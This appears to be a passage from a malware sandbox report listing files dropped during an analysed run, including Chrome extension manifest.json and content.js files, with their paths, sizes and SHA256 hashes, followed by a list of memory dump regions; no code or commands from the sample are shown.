                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          manifest.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1184_1840446716\CRX_INSTALL\manifest.json
                                                                                                          • Size 962B
                                                                                                          • SHA256 5694c91f7d165c6f25daf0825c18b373b0a81ea122c89da60438cd487455fd6a
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          content.js
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4556_1989844423\CRX_INSTALL\content.js
                                                                                                          • Size 9KB
                                                                                                          • SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          manifest.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4556_1989844423\CRX_INSTALL\manifest.json
                                                                                                          • Size 626B
                                                                                                          • SHA256 279bf453dd0572dcf4a326cb7df9fa9d296a2921ef96abdb1956a813268d78cb
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          VGAPH1PU4X6CQRN5IJQL.temp
                                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VGAPH1PU4X6CQRN5IJQL.temp
                                                                                                          • Size 4KB
                                                                                                          • SHA256 313b03f7941713c1a91816bdf41335edc1046e15c052aa8872d3cd7b2235c562
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          manifest.json
                                                                                                          • Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4556_1102365733\manifest.json
                                                                                                          • Size 43B
                                                                                                          • SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          memory/480-165-0x0000020402D20000-0x0000020402E20000-memory.dmp
                                                                                                          Download

                                                                                                          memory/480-172-0x00000204067A0000-0x00000204067C0000-memory.dmp
                                                                                                          Download

                                                                                                          memory/480-196-0x00000204067C0000-0x00000204067E0000-memory.dmp
                                                                                                          Download

                                                                                                          memory/480-210-0x0000020416D60000-0x0000020416D80000-memory.dmp
                                                                                                          Download

                                                                                                          memory/480-164-0x0000020402D20000-0x0000020402E20000-memory.dmp
                                                                                                          Download

                                                                                                          memory/480-175-0x0000020416A10000-0x0000020416B10000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-2-0x0000000000A10000-0x00000000023A6000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-1-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-1832-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-30-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-31-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-35-0x000000001E150000-0x000000001E678000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-0-0x00007FF87E26F000-0x00007FF87E270000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-33-0x000000001DA50000-0x000000001DC12000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4164-306-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-36-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-71-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-1130-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-34-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-72-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-73-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-79-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-1111-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-1138-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-627-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/4640-541-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
                                                                                                          Download

                                                                                                          memory/5092-101-0x0000000000990000-0x00000000009AE000-memory.dmp
                                                                                                          Download

                                                                                                          memory/5972-482-0x000000000EF90000-0x000000000EFD3000-memory.dmp
                                                                                                          Download